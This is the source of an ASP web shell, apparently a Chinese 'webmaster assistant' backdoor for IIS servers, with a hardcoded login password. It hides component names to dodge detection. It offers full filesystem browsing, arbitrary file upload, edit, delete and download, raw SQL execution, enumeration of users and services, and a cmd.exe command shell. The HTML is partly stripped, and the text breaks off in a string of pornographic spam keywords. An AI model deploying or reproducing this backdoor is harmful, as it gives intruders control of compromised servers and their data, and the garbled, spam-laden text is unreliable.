<%
Server.ScriptTimeout=50000
Response.Buffer = True
On Error Resume Next
ApplicationName = "站長(cháng)助手6 增強版"
UserPass = "123456" ’登陸密碼
URL = Request.ServerVariables("URL")
ServerIP = Request.ServerVariables("LOCAL_ADDR")
Action = Request("Action")
RootPath = Server.MapPath(".")
WWWRoot = Server.MapPath("/")
FolderPath = Request("FolderPath")
FName = Request("FName")
BackUrl = "
"
If Session("webadmin")<>UserPass Then
If Request.Form("Pass")<>"" Then
If Request.Form("Pass")=UserPass Then
Session("webadmin")=UserPass
Response.Redirect URL
Else
response.write"驗證失��！"
End If
Else
SI="
歡迎使用ASP站長(cháng)助手
"
SI=SI&""
Response.Write SI
End If
Response.End
End If
sub ShowErr()
If Err Then
Response.Write"
" & Err.Description & ""
Err.Clear:Response.Flush
End If
end sub
Dim ObT(13,2)
ObT(0,0) = "Sc"&DEfd&"rip"&DEfd&"ting"&DEfd&".F"&DEfd&"ileS"&DEfd&"yste"&DEfd&"mObj"&DEfd&"ect"
ObT(0,2) = "文件操作組件"
ObT(1,0) = "w"&DEfd&"sc"&DEfd&"ri"&DEfd&"pt.s"&DEfd&"he"&DEfd&"ll"
ObT(1,2) = "命令行執行組件"
ObT(2,0) = "ADOX.Catalog"
ObT(2,2) = "ACCESS建庫組件"
ObT(3,0) = "JRO.JetEngine"
ObT(3,2) = "ACCESS壓縮組件"
ObT(4,0) = "Scrip"&DEfd&"ting"&DEfd&".D"&DEfd&"icti"&DEfd&"onary"
ObT(4,2) = "數據流上傳輔助組件"
ObT(5,0) = "Adodb.connection"
ObT(5,2) = "數據庫連接組件"
ObT(6,0) = "Ado"&DEfd&"d"&DEfd&"b"&DEfd&".S"&DEfd&"tre"&DEfd&"am"
ObT(6,2) = "數據流上傳組件"
ObT(7,0) = "SoftArtisans.FileUp"
ObT(7,2) = "SA-FileUp 文件上傳組件"
ObT(8,0) = "LyfUpload.UploadFile"
ObT(8,2) = "劉云峰文件上傳組件"
ObT(9,0) = "Persits.Upload.1"
ObT(9,2) = "ASPUpload 文件上傳組件"
ObT(10,0) = "JMail.SmtpMail"
ObT(10,2) = "JMail 郵件收發(fā)組件"
ObT(11,0) = "CDONTS.NewMail"
ObT(11,2) = "虛擬SMTP發(fā)信組件"
ObT(12,0) = "SmtpMail.SmtpMail.1"
ObT(12,2) = "SmtpMail發(fā)信組件"
ObT(13,0) = "Microsoft.XMLHTTP"
ObT(13,2) = "數據傳輸組件"
For i=0 To 13
Set T=Server.CreateObject(ObT(i,0))
If -2147221005 <> Err Then
IsObj=True
Else
IsObj=false
Err.Clear
End If
Set T=Nothing
ObT(i,1)=IsObj
Next
Function RePath(S)
RePath=Replace(S,"\","\\")
End Function
Function RRePath(S)
RRePath=Replace(S,"\\","\")
End Function
If FolderPath<>"" then
Session("FolderPath")=RRePath(FolderPath)
End If
If Session("FolderPath")="" Then
FolderPath=RootPath
Session("FolderPath")=FolderPath
End if
Function MainForm()
SI="
"
SI=SI&"
"
SI=SI&"| "
SI=SI&" |
| "
SI=SI&" | "
SI=SI&""
SI=SI&""
SI=SI&" |
"
Response.Write SI
End Function
Function MainMenu()
SI="
"
SI=SI&" |
"
SI=SI&"| "
SI=SI&"FSO文件操作模塊"
SI=SI&" |
"
If Not ObT(0,1) Then
SI=SI&" |
"
Else
Set ABC=New LBF:SI=SI&ABC.ShowDriver():Set ABC=Nothing
SI=SI&"| "
SI=SI&"C:\Progra~1"
SI=SI&" |
"
SI=SI&"| "
SI=SI&"C:\Docume~1"
SI=SI&" |
"
SI=SI&"| "
SI=SI&"站點(diǎn)根目錄"
SI=SI&" |
"
SI=SI&"| "
SI=SI&"本程序目錄"
SI=SI&" |
"
SI=SI&"| "
SI=SI&"新建目錄"
SI=SI&" |
"
SI=SI&"| "
SI=SI&"新建文本"
SI=SI&" |
"
End If
Response.Write SI:SI=""
SI=SI&"| "
SI=SI&"文件上傳模塊"
SI=SI&" |
"
SI=SI&"| "
SI=SI&"數據庫操作模塊"
SI=SI&" |
"
SI=SI&"| "
SI=SI&"建立MDB文件"
SI=SI&" |
"
SI=SI&"| "
SI=SI&"數據庫操作"
SI=SI&" |
"
SI=SI&"| "
SI=SI&"壓縮MDB文件"
SI=SI&" |
"
SI=SI&"| "
SI=SI&"命令行模塊"
SI=SI&" |
"
SI=SI&"| "
SI=SI&"系統服務(wù)列表"
SI=SI&" |
"
SI=SI&"| "
SI=SI&"服務(wù)器信息"
SI=SI&" |
"
SI=SI&"| "
SI=SI&"退出登錄"
SI=SI&" |
"
SI=SI&"| "
SI=SI&"桂林老兵站"
SI=SI&" |
"
SI=SI&""
SI=SI&"
站長(cháng)助手6 增強版
by lzhj QQ:56824448"
SI=SI&" |
"
SI=SI&"
"
Response.Write SI : SI=""
End Function
Function Course()
SI="
"
SI=SI&"| 系統用戶(hù)與服務(wù) |
"
on error resume next
for each obj in getObject("WinNT://.")
err.clear
if OBJ.StartType="" then
SI=SI&""
SI=SI&"| "
SI=SI&obj.Name
SI=SI&" | "
SI=SI&"系統用戶(hù)(組)"
SI=SI&" |
"
SI0="| |
"
end if
if OBJ.StartType=2 then lx="自動(dòng)"
if OBJ.StartType=3 then lx="手動(dòng)"
if OBJ.StartType=4 then lx="禁用"
if LCase(mid(obj.path,4,3))<>"win" and OBJ.StartType=2 then
SI1=SI1&"| "&obj.Name&" | "&obj.DisplayName&" |
| [啟動(dòng)類(lèi)型:"&lx&"] "&obj.path&" |
"
else
SI2=SI2&"| "&obj.Name&" | "&obj.DisplayName&" |
| [啟動(dòng)類(lèi)型:"&lx&"] "&obj.path&" |
"
end if
next
Response.Write SI&SI0&SI1&SI2&"
"
End Function
Function ServerInfo()
SI="
"
SI=SI&"| 服務(wù)器組件信息 |
"
SI=SI&"| 服務(wù)器名 | | "&request.serverVariables("SERVER_NAME")&" |
"
SI=SI&""
SI=SI&"| 服務(wù)器時(shí)間 | | "&now&" |
"
SI=SI&"| 服務(wù)器CPU數量 | | "&Request.ServerVariables("NUMBER_OF_PROCESSORS")&" |
"
SI=SI&"| 服務(wù)器操作系統 | | "&Request.ServerVariables("OS")&" |
"
SI=SI&"| WEB服務(wù)器版本 | | "&Request.ServerVariables("SERVER_SOFTWARE")&" |
"
For i=0 To 13
SI=SI&"| "&ObT(i,0)&" | "&ObT(i,1)&" | "&ObT(i,2)&" |
"
Next
Response.Write SI
End Function
Function DownFile(Path)
Response.Clear
Set OSM = CreateObject(ObT(6,0))
OSM.Open
OSM.Type = 1
OSM.LoadFromFile Path
sz=InstrRev(path,"\")+1
Response.AddHeader "Content-Disposition", "attachment; filename=" & Mid(path,sz)
Response.Charset = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite OSM.Read
Response.Flush
OSM.Close
Set OSM = Nothing
End Function
Function HTMLEncode(S)
if not isnull(S) then
S = replace(S, ">", ">")
S = replace(S, "<", "<")
S = replace(S, CHR(39), "'")
S = replace(S, CHR(34), """)
S = replace(S, CHR(20), " ")
HTMLEncode = S
end if
End Function
Function UpFile()
If Request("Action2")="Post" Then
Set U=new UPC : Set F=U.UA("LocalFile")
UName=U.form("ToPath")
If UName="" Or F.FileSize=0 then
SI="
請輸入上傳的完全路徑后選擇一個(gè)文件上傳!"
Else
F.SaveAs UName
If Err.number=0 Then
SI="
文件"&UName&"上傳成功！"
End if
End If
Set F=nothing:Set U=nothing
SI=SI&BackUrl
Response.Write SI
ShowErr()
Response.End
End If
SI="
"
Response.Write SI
End Function
Function CmdShell()
If Request("SP")<>"" Then Session("ShellPath") = Request("SP")
ShellPath=Session("ShellPath")
if ShellPath="" Then ShellPath = "cmd.exe"
if Request("wscript")="yes" then
checked=" checked"
else
checked=""
end if
If Request("cmd")<>"" Then DefCmd = Request("cmd")
SI=""
Response.Write SI
End Function
Function CreateMdb(Path)
SI="
"
Set C = CreateObject(ObT(2,0))
C.Create("Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Path)
Set C = Nothing
If Err.number=0 Then
SI = SI & Path & "建立成功!"
End If
SI=SI&BackUrl
Response.Write SI
End function
Function CompactMdb(Path)
If Not ObT(0,1) Then
Set C=CreateObject(ObT(3,0))
C.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path&",Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" &Path
Set C=Nothing
Else
Set FSO=CreateObject(ObT(0,1))
If FSO.FileExists(Path) Then
Set C=CreateObject(ObT(3,0))
C.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path&",Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" &Path&"_bak"
Set C=Nothing
FSO.DeleteFile Path
FSO.MoveFile Path&"_bak",Path
Else
SI="
數據庫"&Path&"沒(méi)有發(fā)現！"
Err.number=1
End If
Set FSO=Nothing
End If
If Err.number=0 Then
SI="
數據庫"&Path&"壓縮成功！"
End If
SI=SI&BackUrl
Response.Write SI
End Function
Function DbManager()
SqlStr=Trim(Request.Form("SqlStr"))
DbStr=Request.Form("DbStr")
SI=SI&""
Response.Write SI:SI=""
If Len(DbStr)>40 Then
Set Conn=CreateObject(ObT(5,0))
Conn.Open DbStr
Set Rs=Conn.OpenSchema(20)
SI=SI&"表
名 | "
Rs.MoveFirst
Do While Not Rs.Eof
If Rs("TABLE_TYPE")="TABLE" then
TName=Rs("TABLE_NAME")
SI=SI&"[ del ]
"
SI=SI&""&TName&" | "
End If
Rs.MoveNext
Loop
Set Rs=Nothing
SI=SI&"
"
Response.Write SI:SI=""
If Len(SqlStr)>10 Then
If LCase(Left(SqlStr,6))="select" then
SI=SI&"執行語(yǔ)句："&SqlStr
Set Rs=CreateObject("Adodb.Recordset")
Rs.open SqlStr,Conn,1,1
FN=Rs.Fields.Count
RC=Rs.RecordCount
Rs.PageSize=20
Count=Rs.PageSize
PN=Rs.PageCount
Page=request("Page")
If Page<>"" Then Page=Clng(Page)
If Page="" Or Page=0 Then Page=1
If Page>PN Then Page=PN
If Page>1 Then Rs.absolutepage=Page
SI=SI&" | "
For n=0 to FN-1
Set Fld=Rs.Fields.Item(n)
SI=SI&""&Fld.Name&" | "
Set Fld=nothing
Next
SI=SI&"
"
Do While Not(Rs.Eof or Rs.Bof) And Count>0
Count=Count-1
Bgcolor="#EFEFEF"
SI=SI&"| x | "
For i=0 To FN-1
If Bgcolor="#EFEFEF" Then:Bgcolor="#F5F5F5":Else:Bgcolor="#EFEFEF":End if
If RC=1 Then
ColInfo=HTMLEncode(Rs(i))
Else
ColInfo=HTMLEncode(Left(Rs(i),50))
End If
SI=SI&""&ColInfo&" | "
Next
SI=SI&"
"
Rs.MoveNext
Loop
Response.Write SI:SI=""
SqlStr=HtmlEnCode(SqlStr)
SI=SI&"記錄數："&RC&" 頁(yè)碼："&Page&"/"&PN
If PN>1 Then
SI=SI&" 首頁(yè) 上一頁(yè) "
If Page>8 Then:Sp=Page-8:Else:Sp=1:End if
For i=Sp To Sp+8
If i>PN Then Exit For
If i=Page Then
SI=SI&i&" "
Else
SI=SI&""&i&" "
End If
Next
SI=SI&" 下一頁(yè) 尾頁(yè)"
End If
SI=SI&"
|
"
Rs.Close:Set Rs=Nothing
Response.Write SI:SI=""
Else
Conn.Execute(SqlStr)
SI=SI&"SQL語(yǔ)句："&SqlStr
End If
Response.Write SI:SI=""
End If
Conn.Close
Set Conn=Nothing
End If
End Function
%>
<%
Dim T1
Class UPC
Dim D1,D2
Public Function Form(F)
F=lcase(F)
If D1.exists(F) then:Form=D1(F):else:Form="":end if
End Function
Public Function UA(F)
F=lcase(F)
If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if
End Function
Private Sub Class_Initialize
Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName
set D1=CreateObject(ObT(4,0))
if Request.TotalBytes<1 then Exit Sub
set T1 = CreateObject(ObT(6,0))
T1.Type = 1 : T1.Mode =3 : T1.Open
T1.Write Request.BinaryRead(Request.TotalBytes)
T1.Position=0 : TDa =T1.Read : DStart = 1
DEnd = LenB(TDa)
set D2=CreateObject(ObT(4,0))
vbCrlf = chrB(13) & chrB(10)
set T2 = CreateObject(ObT(6,0))
TSt = MidB(TDa,1, InStrB(DStart,TDa,vbCrlf)-1)
TLen = LenB (TSt)
DStart=DStart+TLen+1
while (DStart + 10) < DEnd
DIEnd = InStrB(DStart,TDa,vbCrlf & vbCrlf)+3
T2.Type = 1 : T2.Mode =3 : T2.Open
T1.Position = DStart
T1.CopyTo T2,DIEnd-DStart
T2.Position = 0 : T2.Type = 2 : T2.Charset ="gb2312"
TIn = T2.ReadText : T2.Close
DStart = InStrB(DIEnd,TDa,TSt)
FStart = InStr(22,TIn,"name=""",1)+6
FEnd = InStr(FStart,TIn,"""",1)
UpName = lcase(Mid (TIn,FStart,FEnd-FStart))
if InStr (45,TIn,"filename=""",1) > 0 then
set TFL=new FIF
FStart = InStr(FEnd,TIn,"filename=""",1)+10
FEnd = InStr(FStart,TIn,"""",1)
FStart = InStr(FEnd,TIn,"Content-Type: ",1)+14
FEnd = InStr(FStart,TIn,vbCr)
TFL.FileStart =DIEnd
TFL.FileSize = DStart -DIEnd -3
if not D2.Exists(UpName) then
D2.add UpName,TFL
end if
else
T2.Type =1 : T2.Mode =3 : T2.Open
T1.Position = DIEnd : T1.CopyTo T2,DStart-DIEnd-3
T2.Position = 0 : T2.Type = 2
T2.Charset ="gb2312"
SFV = T2.ReadText
T2.Close
if D1.Exists(UpName) then
D1(UpName)=D1(UpName)&", "&SFV
else
D1.Add UpName,SFV
end if
end if
DStart=DStart+TLen+1
wend
TDa=""
set T2 =nothing
End Sub
Private Sub Class_Terminate
if Request.TotalBytes>0 then
D1.RemoveAll:D2.RemoveAll
set D1=nothing:set D2=nothing
T1.Close:set T1 =nothing
end if
End Sub
End Class
Class FIF
dim FileSize,FileStart
Private Sub Class_Initialize
FileSize = 0
FileStart= 0
End Sub
Public function SaveAs(F)
dim T3
SaveAs=true
if trim(F)="" or FileStart=0 then exit function
set T3=CreateObject(ObT(6,0))
T3.Mode=3 : T3.Type=1 : T3.Open
T1.position=FileStart
T1.copyto T3,FileSize
T3.SaveToFile F,2
T3.Close
set T3=nothing
SaveAs=false
end function
End Class
Class LBF
Dim CF
Private Sub Class_Initialize
SET CF=CreateObject(ObT(0,0))
End Sub
Private Sub Class_Terminate
Set CF=Nothing
End Sub
Function ShowDriver()
For Each D in CF.Drives
SI=SI&"| "
SI=SI&"本地磁盤(pán) ("&D.DriveLetter&":)"
SI=SI&" |
"
Next
ShowDriver=SI
End Function
Function ShowFile(Path)
Set FOLD=CF.GetFolder(Path)
i=0
SI=""
For Each F in FOLD.subfolders
SI=SI&"| "
SI=SI&" "&F.Name&""
SI=SI&" | D"
SI=SI&" C"
SI=SI&" M"
i=i+1
If i mod 3 = 0 then SI=SI&" |
"
Next
SI=SI&"
|
"
Response.Write SI : SI=""
For Each L in Fold.files
SI=""
SI=SI&""
SI=SI&"| "
SI=SI&""&L.Name&" | "
SI=SI&""&L.Type&" | "
SI=SI&""&clng(L.size/1024)&"K | "
SI=SI&""&L.DateLastModified&" | "
SI=SI&"edit | "
SI=SI&"del | "
SI=SI&"copy | "
SI=SI&"move | "
SI=SI&"
"
Response.Write SI : SI=""
Next
Set FOLD=Nothing
End function
Function DelFile(Path)
If CF.FileExists(Path) Then
CF.DeleteFile Path
SI="
文件 "&Path&" 刪除成功！"
SI=SI&BackUrl
Response.Write SI
End If
End Function
Function EditFile(Path)
If Request("Action2")="Post" Then
Set T=CF.CreateTextFile(Path)
T.WriteLine Request.form("content")
T.close
Set T=nothing
SI="
文件保存成功！"
SI=SI&BackUrl
Response.Write SI
Response.End
End If
If Path<>"" Then
Set T=CF.opentextfile(Path, 1, False)
Txt=HTMLEncode(T.readall)
T.close
Set T=Nothing
Else
Path=Session("FolderPath")&"\newfile.asp":Txt="新建文件"
End If
SI="
亚洲欧洲中文日韩久久AV乱码,人人入人人爱,娇喘h校园h乳尖h,丰满日韩放荡少妇无码视频,国产成人无码8X视频在线观看
